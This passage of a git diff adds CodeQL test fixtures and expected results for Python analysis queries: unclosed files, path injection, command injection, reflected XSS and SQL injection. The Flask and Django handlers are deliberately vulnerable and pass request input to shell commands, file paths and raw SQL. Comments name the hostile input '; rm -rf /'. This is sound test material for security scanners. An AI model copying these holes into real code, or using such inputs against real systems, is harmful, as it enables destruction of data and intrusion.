MethodCallsiteRefinement(f11_1) | open | | +| f11_3 = MethodCallsiteRefinement(f11_2) | closed | | +| f11_4 = phi(f11_0, f11_1, f11_2, f11_3) | open | | +| f11_5 = MethodCallsiteRefinement(f11_4) | closed | | +| f11_6 = phi(f11_3, f11_5) | closed | exit | +| f12_0 = open() | open | | +| f12_1 = MethodCallsiteRefinement(f12_0) | open | | +| f12_2 = MethodCallsiteRefinement(f12_1) | open | | +| f12_3 = MethodCallsiteRefinement(f12_2) | closed | | +| f12_4 = phi(f12_0, f12_1, f12_2, f12_3) | open | | +| f12_5 = MethodCallsiteRefinement(f12_4) | closed | | +| f12_6 = phi(f12_3, f12_5) | closed | exit | +| f13_0 = open() | open | | +| f13_1 = MethodCallsiteRefinement(f13_0) | open | exit | +| f14_0 = opener_func2() | open | | +| f14_1 = MethodCallsiteRefinement(f14_0) | open | | +| f14_2 = MethodCallsiteRefinement(f14_1) | closed | exit | +| f15_0 = opener_func2() | open | | +| f15_1 = ArgumentRefinement(f15_0) | closed | exit | +| f16_0 = ScopeEntryDefinition | closed | | +| f16_1 = open() | open | | +| f16_2 = MethodCallsiteRefinement(f16_1) | open | | +| f16_3 = MethodCallsiteRefinement(f16_2) | closed | | +| f16_4 = phi(f16_0, f16_1, f16_2, f16_3) | open | | +| f16_5 = phi(f16_3, f16_4) | open | exit | +| f17_0 = open() | open | | +| f17_1 = MethodCallsiteRefinement(f17_0) | open | | +| f17_2 = MethodCallsiteRefinement(f17_1) | open | | +| f17_3 = MethodCallsiteRefinement(f17_2) | closed | | +| f17_4 = phi(f17_0, f17_1, f17_2, f17_3) | open | | +| f17_5 = MethodCallsiteRefinement(f17_4) | closed | | +| f17_6 = phi(f17_3, f17_5) | closed | exit | +| f18_0 = open() | closed | | +| f18_1 = MethodCallsiteRefinement(f18_0) | closed | exit | +| f20_0 = open() | open | | +| f20_1 = ArgumentRefinement(f20_0) | closed | exit | +| f21_0 = open() | open | | +| f21_1 = MethodCallsiteRefinement(f21_0) | open | | +| f21_2 = MethodCallsiteRefinement(f21_1) | closed | | +| f21_3 = phi(f21_1, f21_2) | open | | +| f21_4 = phi(f21_0, f21_1, f21_2) | open | | +| f21_5 = SingleSuccessorGuard(f21_4) [true] | open | | +| f21_6 = Pi(f21_3) [true] | open | | +| f21_7 = MethodCallsiteRefinement(f21_6) | closed | | +| f21_8 = Pi(f21_3) [false] | closed | | +| f21_9 = phi(f21_7, f21_8) | closed | exit | +| f22_0 = open() | open | | +| f22_1 = MethodCallsiteRefinement(f22_0) | open | | +| f22_2 = MethodCallsiteRefinement(f22_1) | closed | | +| f22_3 = phi(f22_1, f22_2) | open | | +| f22_4 = phi(f22_0, f22_1, f22_2) | open | | +| f22_5 = SingleSuccessorGuard(f22_4) [true] | open | | +| f22_6 = Pi(f22_3) [true] | closed | | +| f22_7 = MethodCallsiteRefinement(f22_6) | closed | | +| f22_8 = Pi(f22_3) [false] | open | | +| f22_9 = phi(f22_7, f22_8) | open | exit | +| f_0 = FunctionExpr | closed | exit | +| file_0 = open() | open | | +| file_1 = open() | open | | +| file_2 = None | closed | | +| file_3 = phi(file_0, file_1, file_2) | open | exit | +| fp_0 = ParameterDefinition | closed | exit | diff --git a/python/ql/test/query-tests/Resources/Dataflow.ql b/python/ql/test/query-tests/Resources/Dataflow.ql new file mode 100644 index 00000000000..ee92ee981c3 --- /dev/null +++ b/python/ql/test/query-tests/Resources/Dataflow.ql @@ -0,0 +1,16 @@ + +import python +import Resources.FileOpen + + +from EssaVariable v, EssaDefinition def, string open, string exit +where def = v.getDefinition() and v.getSourceVariable().getName().charAt(0) = "f" and +( + var_is_open(v, _) and open = "open" + or + not var_is_open(v, _) and open = "closed" +) +and +if BaseFlow::reaches_exit(v) then exit = "exit" else exit = "" + +select v.getRepresentation() + " = " + v.getDefinition().getRepresentation(), open, exit diff --git a/python/ql/test/query-tests/Resources/FileNotAlwaysClosed.expected b/python/ql/test/query-tests/Resources/FileNotAlwaysClosed.expected new file mode 100644 index 00000000000..c0a6c413333 --- /dev/null +++ b/python/ql/test/query-tests/Resources/FileNotAlwaysClosed.expected @@ -0,0 +1,9 @@ +| resources_test.py:4:10:4:25 | open() | File may not be closed if an exception is raised. | +| resources_test.py:9:10:9:25 | open() | File is opened but is not closed. | +| resources_test.py:49:14:49:29 | open() | File is opened but is not closed. | +| resources_test.py:58:14:58:29 | open() | File is opened but is not closed. | +| resources_test.py:79:11:79:26 | open() | File may not be closed if an exception is raised. | +| resources_test.py:108:11:108:20 | open() | File is opened but is not closed. | +| resources_test.py:112:11:112:28 | opener_func2() | File may not be closed if an exception is raised. | +| resources_test.py:129:15:129:24 | open() | File is opened but is not closed. | +| resources_test.py:237:11:237:26 | open() | File is opened but is not closed. | diff --git a/python/ql/test/query-tests/Resources/FileNotAlwaysClosed.qlref b/python/ql/test/query-tests/Resources/FileNotAlwaysClosed.qlref new file mode 100644 index 00000000000..37e9a076680 --- /dev/null +++ b/python/ql/test/query-tests/Resources/FileNotAlwaysClosed.qlref @@ -0,0 +1 @@ +Resources/FileNotAlwaysClosed.ql \ No newline at end of file diff --git a/python/ql/test/query-tests/Resources/resources_test.py b/python/ql/test/query-tests/Resources/resources_test.py new file mode 100644 index 00000000000..73fa88b4401 --- /dev/null +++ b/python/ql/test/query-tests/Resources/resources_test.py @@ -0,0 +1,246 @@ +#File not always closed + +def not_close1(): + f1 = open("filename") + f1.write("Error could occur") + f1.close() + +def not_close2(): + f2 = open("filename") + +def closed3(): + f3 = open("filename") + f3.close() + +def closed4(): + with open("filename") as f4: + f4.write("Error could occur") + +def closed5(): + f5 = open("filename") + try: + f5.write("Error could occur") + finally: + f5.close() + +#Correctly guarded close() +def closed6(): + f6 = None + try: + f6 = open("filename") + f6.write("Error could occur") + finally: + if f6: + f6.close() + +def closed7(): + f7 = None + try: + f7 = open("filename") + f7.write("Error could occur") + finally: + if not f7 is None: + f7.close() + +#Incorrectly guarded close() +def not_closed8(): + f8 = None + try: + f8 = open("filename") + f8.write("Error could occur") + finally: + if f8 is None: + f8.close() + +def not_closed9(): + f9 = None + try: + f9 = open("filename") + f9.write("Error could occur") + finally: + if not f9: + f9.close() + +def not_closed_but_cant_tell_locally(): + return open("filename") + +#Closed by handling the correct exception +def closed10(): + f10 = open("filename") + try: + f10.write("IOError could occur") + f10.write("IOError could occur") + f10.close() + except IOError: + f10.close() + +#Not closed by handling the wrong exception +def not_closed11(): + f11 = open("filename") + try: + f11.write("IOError could occur") + f11.write("IOError could occur") + f11.close() + except AttributeError: + f11.close() + +def doesnt_raise(): + pass + +def mostly_closed12(): + f12 = open("filename") + try: + f12.write("IOError could occur") + f12.write("IOError could occur") + doesnt_raise("Potential false positive here") + f12.close() + except IOError: + f12.close() + +def opener_func1(name): + return open(name) + +def opener_func2(name): + t1 = opener_func1(name) + return t1 + +def not_closed13(name): + f13 = open(name) + f13.write("Hello") + +def may_not_be_closed14(name): + f14 = opener_func2(name) + f14.write("Hello") + f14.close() + +def closer1(t2): + t2.close() + +def closer2(t3): + closer1(t3) + +def closed15(): + f15 = opener_func2() + closer2(f15) + + +def may_not_be_closed16(name): + try: + f16 = open(name) + f16.write("Hello") + f16.close() + except IOError: + pass + +def may_raise(): + if random(): + raise ValueError() + +#Not handling all exceptions, but we'll tolerate the false negative +def not_closed17(): + f17 = open("filename") + try: + f17.write("IOError could occur") + f17.write("IOError could occur") + may_raise("ValueError could occur") # FN here. + f17.close() + except IOError: + f17.close() + +#ODASA-3779 +#With statement will close the fp +def closed18(path): + try: + f18 = open(path) + except IOError as ex: + print(ex) + raise ex + with f18: + f18.read() + +class Closed19(object): + + def __enter__(self): + self.fd = open("Filename") + + def __exit__(self, *args): + self.fd.close() + +class FileWrapper(object): + + def __init__(self, fp): + self.fp = fp + +def closed20(path): + f20 = open(path) + return FileWrapper(f20) + +#ODASA-3105 +def run(nodes_module): + use_file = len(sys.argv) > 1 + if use_file: + out = open(sys.argv[1], 'w', encoding='utf-8') + else: + out = sys.stdout + try: + out.write("spam") + finally: + if use_file: + out.close() + +#ODASA-3515 +class GraphVizTrapWriter(object): + + def __init__(self, out): + if out is None: + self.out = sys.stdout + else: + self.out = open(out, 'w') + self.pool = GraphVizIdPool(self.out) + + def __del__(self): + if self.out != sys.stdout: + self.out.close() + +#Returned as part of tuple +def f(name, path): + try: + path = path.attr + file = open(path, 'rb') + except AttributeError: + # ExtensionLoader has not attribute get_filename, instead it has a + # path attribute that we can use to retrieve the module path + try: + path = path.other_attr + file = open(path, 'rb') + except AttributeError: + path = name + file = None + + return file, path + + +#ODASA-5891 +def closed21(path): + f21 = open(path, "wb") + try: + f21.write(b"foo") + may_raise() + if foo: + f21.close() + finally: + if not f21.closed: + f21.close() + + +def not_closed22(path): + f22 = open(path, "wb") + try: + f22.write(b"foo") + may_raise() + if foo: + f22.close() + finally: + if f22.closed: # Wrong sense + f22.close() + diff --git a/python/ql/test/query-tests/Security/CWE-022/PathInjection.expected b/python/ql/test/query-tests/Security/CWE-022/PathInjection.expected new file mode 100644 index 00000000000..41e99f6c16b --- /dev/null +++ b/python/ql/test/query-tests/Security/CWE-022/PathInjection.expected @@ -0,0 +1,37 @@ +edges +| ../lib/os/path.py:4:14:4:14 | externally controlled string | ../lib/os/path.py:5:12:5:12 | externally controlled string | +| ../lib/os/path.py:4:14:4:14 | externally controlled string | ../lib/os/path.py:5:12:5:12 | externally controlled string | +| ../lib/os/path.py:4:14:4:14 | externally controlled string | ../lib/os/path.py:5:12:5:12 | externally controlled string | +| path_injection.py:9:12:9:23 | dict of externally controlled string | path_injection.py:9:12:9:39 | externally controlled string | +| path_injection.py:9:12:9:39 | externally controlled string | path_injection.py:10:40:10:43 | externally controlled string | +| path_injection.py:10:40:10:43 | externally controlled string | path_injection.py:10:14:10:44 | externally controlled string | +| path_injection.py:15:12:15:23 | dict of externally controlled string | path_injection.py:15:12:15:39 | externally controlled string | +| path_injection.py:15:12:15:39 | externally controlled string | path_injection.py:16:56:16:59 | externally controlled string | +| path_injection.py:16:13:16:61 | normalized path | path_injection.py:17:14:17:18 | normalized path | +| path_injection.py:16:30:16:60 | externally controlled string | ../lib/os/path.py:4:14:4:14 | externally controlled string | +| path_injection.py:16:30:16:60 | externally controlled string | path_injection.py:16:13:16:61 | normalized path | +| path_injection.py:16:56:16:59 | externally controlled string | path_injection.py:16:30:16:60 | externally controlled string | +| path_injection.py:24:12:24:23 | dict of externally controlled string | path_injection.py:24:12:24:39 | externally controlled string | +| path_injection.py:24:12:24:39 | externally controlled string | path_injection.py:25:56:25:59 | externally controlled string | +| path_injection.py:25:13:25:61 | normalized path | path_injection.py:26:8:26:12 | normalized path | +| path_injection.py:25:13:25:61 | normalized path | path_injection.py:28:14:28:18 | normalized path | +| path_injection.py:25:30:25:60 | externally controlled string | ../lib/os/path.py:4:14:4:14 | externally controlled string | +| path_injection.py:25:30:25:60 | externally controlled string | path_injection.py:25:13:25:61 | normalized path | +| path_injection.py:25:56:25:59 | externally controlled string | path_injection.py:25:30:25:60 | externally controlled string | +| path_injection.py:33:12:33:23 | dict of externally controlled string | path_injection.py:33:12:33:39 | externally controlled string | +| path_injection.py:33:12:33:39 | externally controlled string | path_injection.py:34:56:34:59 | externally controlled string | +| path_injection.py:34:13:34:61 | normalized path | path_injection.py:35:8:35:12 | normalized path | +| path_injection.py:34:30:34:60 | externally controlled string | ../lib/os/path.py:4:14:4:14 | externally controlled string | +| path_injection.py:34:30:34:60 | externally controlled string | path_injection.py:34:13:34:61 | normalized path | +| path_injection.py:34:56:34:59 | externally controlled string | path_injection.py:34:30:34:60 | externally controlled string | +parents +| ../lib/os/path.py:4:14:4:14 | externally controlled string | path_injection.py:16:30:16:60 | externally controlled string | +| ../lib/os/path.py:4:14:4:14 | externally controlled string | path_injection.py:25:30:25:60 | externally controlled string | +| ../lib/os/path.py:4:14:4:14 | externally controlled string | path_injection.py:34:30:34:60 | externally controlled string | +| ../lib/os/path.py:5:12:5:12 | externally controlled string | path_injection.py:16:30:16:60 | externally controlled string | +| ../lib/os/path.py:5:12:5:12 | externally controlled string | path_injection.py:25:30:25:60 | externally controlled string | +| ../lib/os/path.py:5:12:5:12 | externally controlled string | path_injection.py:34:30:34:60 | externally controlled string | +#select +| path_injection.py:10:14:10:44 | argument to open() | path_injection.py:9:12:9:23 | dict of externally controlled string | path_injection.py:10:14:10:44 | externally controlled string | This path depends on $@. | path_injection.py:9:12:9:23 | flask.request.args | a user-provided value | +| path_injection.py:17:14:17:18 | argument to open() | path_injection.py:15:12:15:23 | dict of externally controlled string | path_injection.py:17:14:17:18 | normalized path | This path depends on $@. | path_injection.py:15:12:15:23 | flask.request.args | a user-provided value | +| path_injection.py:28:14:28:18 | argument to open() | path_injection.py:24:12:24:23 | dict of externally controlled string | path_injection.py:28:14:28:18 | normalized path | This path depends on $@. | path_injection.py:24:12:24:23 | flask.request.args | a user-provided value | diff --git a/python/ql/test/query-tests/Security/CWE-022/PathInjection.qlref b/python/ql/test/query-tests/Security/CWE-022/PathInjection.qlref new file mode 100644 index 00000000000..d43482cc509 --- /dev/null +++ b/python/ql/test/query-tests/Security/CWE-022/PathInjection.qlref @@ -0,0 +1 @@ +Security/CWE-022/PathInjection.ql diff --git a/python/ql/test/query-tests/Security/CWE-022/options b/python/ql/test/query-tests/Security/CWE-022/options new file mode 100644 index 00000000000..dce78f52325 --- /dev/null +++ b/python/ql/test/query-tests/Security/CWE-022/options @@ -0,0 +1,2 @@ +semmle-extractor-options: -p ../lib/ --max-import-depth=3 +optimize: true diff --git a/python/ql/test/query-tests/Security/CWE-022/path_injection.py b/python/ql/test/query-tests/Security/CWE-022/path_injection.py new file mode 100644 index 00000000000..b409e2d0221 --- /dev/null +++ b/python/ql/test/query-tests/Security/CWE-022/path_injection.py @@ -0,0 +1,36 @@ + +import os.path + +from flask import Flask, request +app = Flask(__name__) + +@app.route("/path1") +def path_injection(): + path = request.args.get('path', '') + f = open(os.path.join(os.getcwd(), path)) + +@app.route("/path2") +def path_injection(): + # Normalized, but not checked + path = request.args.get('path', '') + npath = os.path.normpath(os.path.join(os.getcwd(), path)) + f = open(npath) + +SAFE = "/tmp/scratch_area/" + +@app.route("/path3") +def safe_path(): + # Normalized, but check doesn't reach open(). + path = request.args.get('path', '') + npath = os.path.normpath(os.path.join(os.getcwd(), path)) + if npath.startswith(SAFE): + pass + f = open(npath) + +@app.route("/path4") +def safe_path(): + # Normalized, and checked properly + path = request.args.get('path', '') + npath = os.path.normpath(os.path.join(os.getcwd(), path)) + if npath.startswith(SAFE): + f = open(npath) diff --git a/python/ql/test/query-tests/Security/CWE-078/CommandInjection.expected b/python/ql/test/query-tests/Security/CWE-078/CommandInjection.expected new file mode 100644 index 00000000000..9e0d3008d52 --- /dev/null +++ b/python/ql/test/query-tests/Security/CWE-078/CommandInjection.expected @@ -0,0 +1,24 @@ +edges +| command_injection.py:10:13:10:24 | dict of externally controlled string | command_injection.py:10:13:10:41 | externally controlled string | +| command_injection.py:10:13:10:41 | externally controlled string | command_injection.py:12:23:12:27 | externally controlled string | +| command_injection.py:12:15:12:27 | externally controlled string | ../lib/os/__init__.py:1:12:1:14 | externally controlled string | +| command_injection.py:12:23:12:27 | externally controlled string | command_injection.py:12:15:12:27 | externally controlled string | +| command_injection.py:17:13:17:24 | dict of externally controlled string | command_injection.py:17:13:17:41 | externally controlled string | +| command_injection.py:17:13:17:41 | externally controlled string | command_injection.py:19:29:19:33 | externally controlled string | +| command_injection.py:19:29:19:33 | externally controlled string | command_injection.py:19:22:19:34 | sequence of externally controlled string | +| command_injection.py:24:11:24:22 | dict of externally controlled string | command_injection.py:24:11:24:37 | externally controlled string | +| command_injection.py:24:11:24:37 | externally controlled string | command_injection.py:25:23:25:25 | externally controlled string | +| command_injection.py:25:23:25:25 | externally controlled string | command_injection.py:25:22:25:36 | first item in sequence of externally controlled string | +| command_injection.py:25:23:25:25 | externally controlled string | command_injection.py:25:22:25:36 | sequence of externally controlled string | +| command_injection.py:30:13:30:24 | dict of externally controlled string | command_injection.py:30:13:30:41 | externally controlled string | +| command_injection.py:30:13:30:41 | externally controlled string | command_injection.py:32:22:32:26 | externally controlled string | +| command_injection.py:32:14:32:26 | externally controlled string | ../lib/os/__init__.py:4:11:4:13 | externally controlled string | +| command_injection.py:32:22:32:26 | externally controlled string | command_injection.py:32:14:32:26 | externally controlled string | +parents +| ../lib/os/__init__.py:1:12:1:14 | externally controlled string | command_injection.py:12:15:12:27 | externally controlled string | +| ../lib/os/__init__.py:4:11:4:13 | externally controlled string | command_injection.py:32:14:32:26 | externally controlled string | +#select +| command_injection.py:12:15:12:27 | shell command | command_injection.py:10:13:10:24 | dict of externally controlled string | command_injection.py:12:15:12:27 | externally controlled string | This command depends on $@. | command_injection.py:10:13:10:24 | flask.request.args | a user-provided value | +| command_injection.py:19:22:19:34 | shell command | command_injection.py:17:13:17:24 | dict of externally controlled string | command_injection.py:19:22:19:34 | sequence of externally controlled string | This command depends on $@. | command_injection.py:17:13:17:24 | flask.request.args | a user-provided value | +| command_injection.py:25:22:25:36 | OS command first argument | command_injection.py:24:11:24:22 | dict of externally controlled string | command_injection.py:25:22:25:36 | first item in sequence of externally controlled string | This command depends on $@. | command_injection.py:24:11:24:22 | flask.request.args | a user-provided value | +| command_injection.py:32:14:32:26 | shell command | command_injection.py:30:13:30:24 | dict of externally controlled string | command_injection.py:32:14:32:26 | externally controlled string | This command depends on $@. | command_injection.py:30:13:30:24 | flask.request.args | a user-provided value | diff --git a/python/ql/test/query-tests/Security/CWE-078/CommandInjection.qlref b/python/ql/test/query-tests/Security/CWE-078/CommandInjection.qlref new file mode 100644 index 00000000000..e38b88f2919 --- /dev/null +++ b/python/ql/test/query-tests/Security/CWE-078/CommandInjection.qlref @@ -0,0 +1 @@ +Security/CWE-078/CommandInjection.ql diff --git a/python/ql/test/query-tests/Security/CWE-078/command_injection.py b/python/ql/test/query-tests/Security/CWE-078/command_injection.py new file mode 100644 index 00000000000..2122a076ec9 --- /dev/null +++ b/python/ql/test/query-tests/Security/CWE-078/command_injection.py @@ -0,0 +1,32 @@ + +import os +import subprocess + +from flask import Flask, request +app = Flask(__name__) + +@app.route("/command1") +def command_injection1(): + files = request.args.get('files', '') + # Don't let files be `; rm -rf /` + os.system("ls " + files) + + +@app.route("/command2") +def command_injection2(): + files = request.args.get('files', '') + # Don't let files be `; rm -rf /` + subprocess.Popen(["ls", files], shell = True) + + +@app.route("/command3") +def first_arg_injection(): + cmd = request.args.get('cmd', '') + subprocess.Popen([cmd, "param1"]) + + +@app.route("/other_cases") +def others(): + files = request.args.get('files', '') + # Don't let files be `; rm -rf /` + os.popen("ls " + files) diff --git a/python/ql/test/query-tests/Security/CWE-078/options b/python/ql/test/query-tests/Security/CWE-078/options new file mode 100644 index 00000000000..dce78f52325 --- /dev/null +++ b/python/ql/test/query-tests/Security/CWE-078/options @@ -0,0 +1,2 @@ +semmle-extractor-options: -p ../lib/ --max-import-depth=3 +optimize: true diff --git a/python/ql/test/query-tests/Security/CWE-079/Jinja2WithoutEscaping.expected b/python/ql/test/query-tests/Security/CWE-079/Jinja2WithoutEscaping.expected new file mode 100644 index 00000000000..1813aa1a50d --- /dev/null +++ b/python/ql/test/query-tests/Security/CWE-079/Jinja2WithoutEscaping.expected @@ -0,0 +1,5 @@ +| jinja2_escaping.py:9:14:9:39 | ControlFlowNode for Environment() | Using jinja2 templates with autoescape=False can potentially allow XSS attacks. | +| jinja2_escaping.py:41:5:41:29 | ControlFlowNode for Environment() | Using jinja2 templates with autoescape=False can potentially allow XSS attacks. | +| jinja2_escaping.py:43:1:43:3 | ControlFlowNode for E() | Using jinja2 templates with autoescape=False can potentially allow XSS attacks. | +| jinja2_escaping.py:44:1:44:15 | ControlFlowNode for E() | Using jinja2 templates with autoescape=False can potentially allow XSS attacks. | +| jinja2_escaping.py:53:15:53:43 | ControlFlowNode for Template() | Using jinja2 templates with autoescape=False can potentially allow XSS attacks. | diff --git a/python/ql/test/query-tests/Security/CWE-079/Jinja2WithoutEscaping.qlref b/python/ql/test/query-tests/Security/CWE-079/Jinja2WithoutEscaping.qlref new file mode 100644 index 00000000000..9fefcf4a030 --- /dev/null +++ b/python/ql/test/query-tests/Security/CWE-079/Jinja2WithoutEscaping.qlref @@ -0,0 +1 @@ +Security/CWE-079/Jinja2WithoutEscaping.ql diff --git a/python/ql/test/query-tests/Security/CWE-079/ReflectedXss.expected b/python/ql/test/query-tests/Security/CWE-079/ReflectedXss.expected new file mode 100644 index 00000000000..b305b84491e --- /dev/null +++ b/python/ql/test/query-tests/Security/CWE-079/ReflectedXss.expected @@ -0,0 +1,17 @@ +edges +| ../lib/flask/__init__.py:14:19:14:20 | externally controlled string | ../lib/flask/__init__.py:15:19:15:20 | externally controlled string | +| ../lib/flask/__init__.py:14:19:14:20 | externally controlled string | ../lib/flask/__init__.py:16:25:16:26 | externally controlled string | +| jinja2_escaping.py:14:12:14:23 | dict of externally controlled string | jinja2_escaping.py:14:12:14:39 | externally controlled string | +| jinja2_escaping.py:14:12:14:39 | externally controlled string | jinja2_escaping.py:16:47:16:50 | externally controlled string | +| reflected_xss.py:7:18:7:29 | dict of externally controlled string | reflected_xss.py:7:18:7:45 | externally controlled string | +| reflected_xss.py:7:18:7:45 | externally controlled string | reflected_xss.py:8:44:8:53 | externally controlled string | +| reflected_xss.py:8:26:8:53 | externally controlled string | ../lib/flask/__init__.py:14:19:14:20 | externally controlled string | +| reflected_xss.py:8:44:8:53 | externally controlled string | reflected_xss.py:8:26:8:53 | externally controlled string | +| reflected_xss.py:12:18:12:29 | dict of externally controlled string | reflected_xss.py:12:18:12:45 | externally controlled string | +| reflected_xss.py:12:18:12:45 | externally controlled string | reflected_xss.py:13:51:13:60 | externally controlled string | +parents +| ../lib/flask/__init__.py:14:19:14:20 | externally controlled string | reflected_xss.py:8:26:8:53 | externally controlled string | +| ../lib/flask/__init__.py:15:19:15:20 | externally controlled string | reflected_xss.py:8:26:8:53 | externally controlled string | +| ../lib/flask/__init__.py:16:25:16:26 | externally controlled string | reflected_xss.py:8:26:8:53 | externally controlled string | +#select +| ../lib/flask/__init__.py:16:25:16:26 | flask.response.argument | reflected_xss.py:7:18:7:29 | dict of externally controlled string | ../lib/flask/__init__.py:16:25:16:26 | externally controlled string | Cross-site scripting vulnerability due to $@. | reflected_xss.py:7:18:7:29 | flask.request.args | user-provided value | diff --git a/python/ql/test/query-tests/Security/CWE-079/ReflectedXss.qlref b/python/ql/test/query-tests/Security/CWE-079/ReflectedXss.qlref new file mode 100644 index 00000000000..e0efe102416 --- /dev/null +++ b/python/ql/test/query-tests/Security/CWE-079/ReflectedXss.qlref @@ -0,0 +1 @@ +Security/CWE-079/ReflectedXss.ql diff --git a/python/ql/test/query-tests/Security/CWE-079/jinja2_escaping.py b/python/ql/test/query-tests/Security/CWE-079/jinja2_escaping.py new file mode 100644 index 00000000000..aed840ce886 --- /dev/null +++ b/python/ql/test/query-tests/Security/CWE-079/jinja2_escaping.py @@ -0,0 +1,55 @@ + +Environment(loader=templateLoader, autoescape=fake_func()) +from flask import Flask, request, make_response, escape +from jinja2 import Environment, select_autoescape, FileSystemLoader, Template + +app = Flask(__name__) +loader = FileSystemLoader( searchpath="templates/" ) + +unsafe_env = Environment(loader=loader) +safe1_env = Environment(loader=loader, autoescape=True) +safe2_env = Environment(loader=loader, autoescape=select_autoescape()) + +def render_response_from_env(env): + name = request.args.get('name', '') + template = env.get_template('template.html') + return make_response(template.render(name=name)) + +@app.route('/unsafe') +def unsafe(): + return render_response_from_env(unsafe_env) + +@app.route('/safe1') +def safe1(): + return render_response_from_env(safe1_env) + +@app.route('/safe2') +def safe2(): + return render_response_from_env(safe2_env) + +# Explicit autoescape + +e = Environment( + loader=loader, + autoescape=select_autoescape(['html', 'htm', 'xml']) +) # GOOD + +# Additional checks with flow. +auto = select_autoescape +e = Environment(autoescape=auto) # GOOD +z = 0 +e = Environment(autoescape=z) # BAD +E = Environment +E() # BAD +E(autoescape=z) # BAD +E(autoescape=auto) # GOOD +E(autoescape=0+1) # GOOD + +def checked(cond=False): + if cond: + e = Environment(autoescape=cond) # GOOD + + +unsafe_tmpl = Template('Hello {{ name }}!') +safe1_tmpl = Template('Hello {{ name }}!', autoescape=True) +safe2_tmpl = Template('Hello {{ name }}!', autoescape=select_autoescape()) diff --git a/python/ql/test/query-tests/Security/CWE-079/options b/python/ql/test/query-tests/Security/CWE-079/options new file mode 100644 index 00000000000..492768b3481 --- /dev/null +++ b/python/ql/test/query-tests/Security/CWE-079/options @@ -0,0 +1 @@ +semmle-extractor-options: -p ../lib/ --max-import-depth=3 diff --git a/python/ql/test/query-tests/Security/CWE-079/reflected_xss.py b/python/ql/test/query-tests/Security/CWE-079/reflected_xss.py new file mode 100644 index 00000000000..fecb84ef725 --- /dev/null +++ b/python/ql/test/query-tests/Security/CWE-079/reflected_xss.py @@ -0,0 +1,18 @@ +from flask import Flask, request, make_response, escape + +app = Flask(__name__) + +@app.route('/unsafe') +def unsafe(): + first_name = request.args.get('name', '') + return make_response("Your name is " + first_name) + +@app.route('/safe') +def safe(): + first_name = request.args.get('name', '') + return make_response("Your name is " + escape(first_name)) + +urlpatterns = [ + url(r'^r1$', response_unsafe, name='response-unsafe'), + url(r'^r2$', response_safe, name='response-safe') +] diff --git a/python/ql/test/query-tests/Security/CWE-089/SqlInjection.expected b/python/ql/test/query-tests/Security/CWE-089/SqlInjection.expected new file mode 100644 index 00000000000..1555b7cd779 --- /dev/null +++ b/python/ql/test/query-tests/Security/CWE-089/SqlInjection.expected @@ -0,0 +1,25 @@ +edges +| sql_injection.py:9:15:9:21 | django.request.HttpRequest | sql_injection.py:11:8:11:14 | django.request.HttpRequest | +| sql_injection.py:9:15:9:21 | django.request.HttpRequest | sql_injection.py:12:16:12:22 | django.request.HttpRequest | +| sql_injection.py:12:16:12:22 | django.request.HttpRequest | sql_injection.py:12:16:12:27 | django.http.request.QueryDict | +| sql_injection.py:12:16:12:27 | django.http.request.QueryDict | sql_injection.py:12:16:12:39 | externally controlled string | +| sql_injection.py:12:16:12:39 | externally controlled string | sql_injection.py:16:62:16:65 | externally controlled string | +| sql_injection.py:12:16:12:39 | externally controlled string | sql_injection.py:19:63:19:66 | externally controlled string | +| sql_injection.py:12:16:12:39 | externally controlled string | sql_injection.py:22:88:22:91 | externally controlled string | +| sql_injection.py:12:16:12:39 | externally controlled string | sql_injection.py:23:76:23:79 | externally controlled string | +| sql_injection.py:12:16:12:39 | externally controlled string | sql_injection.py:24:78:24:81 | externally controlled string | +| sql_injection.py:13:16:13:34 | django.db.connection.cursor | sql_injection.py:15:9:15:12 | django.db.connection.cursor | +| sql_injection.py:13:16:13:34 | django.db.connection.cursor | sql_injection.py:18:9:18:12 | django.db.connection.cursor | +| sql_injection.py:19:63:19:66 | externally controlled string | sql_injection.py:19:13:19:66 | externally controlled string | +| sql_injection.py:22:9:22:20 | django.db.models.Model.objects | sql_injection.py:22:9:22:93 | django.db.models.Model.objects | +| sql_injection.py:22:88:22:91 | externally controlled string | sql_injection.py:22:38:22:91 | externally controlled string | +| sql_injection.py:23:9:23:20 | django.db.models.Model.objects | sql_injection.py:23:9:23:80 | django.db.models.Model.objects | +| sql_injection.py:23:76:23:79 | externally controlled string | sql_injection.py:23:26:23:79 | externally controlled string | +| sql_injection.py:24:9:24:20 | django.db.models.Model.objects | sql_injection.py:24:9:24:82 | django.db.models.Model.objects | +| sql_injection.py:24:78:24:81 | externally controlled string | sql_injection.py:24:28:24:81 | externally controlled string | +parents +#select +| sql_injection.py:19:13:19:66 | db.connection.execute | sql_injection.py:9:15:9:21 | django.request.HttpRequest | sql_injection.py:19:13:19:66 | externally controlled string | This SQL query depends on $@. | sql_injection.py:9:15:9:21 | Django request source | a user-provided value | +| sql_injection.py:22:38:22:91 | django.db.models.expressions.RawSQL(sink,...) | sql_injection.py:9:15:9:21 | django.request.HttpRequest | sql_injection.py:22:38:22:91 | externally controlled string | This SQL query depends on $@. | sql_injection.py:9:15:9:21 | Django request source | a user-provided value | +| sql_injection.py:23:26:23:79 | django.models.QuerySet.raw(sink,...) | sql_injection.py:9:15:9:21 | django.request.HttpRequest | sql_injection.py:23:26:23:79 | externally controlled string | This SQL query depends on $@. | sql_injection.py:9:15:9:21 | Django request source | a user-provided value | +| sql_injection.py:24:28:24:81 | django.models.QuerySet.extra(sink,...) | sql_injection.py:9:15:9:21 | django.request.HttpRequest | sql_injection.py:24:28:24:81 | externally controlled string | This SQL query depends on $@. | sql_injection.py:9:15:9:21 | Django request source | a user-provided value | diff --git a/python/ql/test/query-tests/Security/CWE-089/SqlInjection.qlref b/python/ql/test/query-tests/Security/CWE-089/SqlInjection.qlref new file mode 100644 index 00000000000..d1d02cbe8d3 --- /dev/null +++ b/python/ql/test/query-tests/Security/CWE-089/SqlInjection.qlref @@ -0,0 +1 @@ +Security/CWE-089/SqlInjection.ql diff --git a/python/ql/test/query-tests/Security/CWE-089/options b/python/ql/test/query-tests/Security/CWE-089/options new file mode 100644 index 00000000000..492768b3481 --- /dev/null +++ b/python/ql/test/query-tests/Security/CWE-089/options @@ -0,0 +1 @@ +semmle-extractor-options: -p ../lib/ --max-import-depth=3 diff --git a/python/ql/test/query-tests/Security/CWE-089/sql_injection.py b/python/ql/test/query-tests/Security/CWE-089/sql_injection.py new file mode 100644 index 00000000000..b312241b809 --- /dev/null +++ b/python/ql/test/query-tests/Security/CWE-089/sql_injection.py @@ -0,0 +1,28 @@ + +from django.conf.urls import patterns, url +from django.db import connection, models +from django.db.models.expressions import RawSQL + +class Name(models.Model): + pass + +def save_name(request): + + if request.method == 'POST': + name = 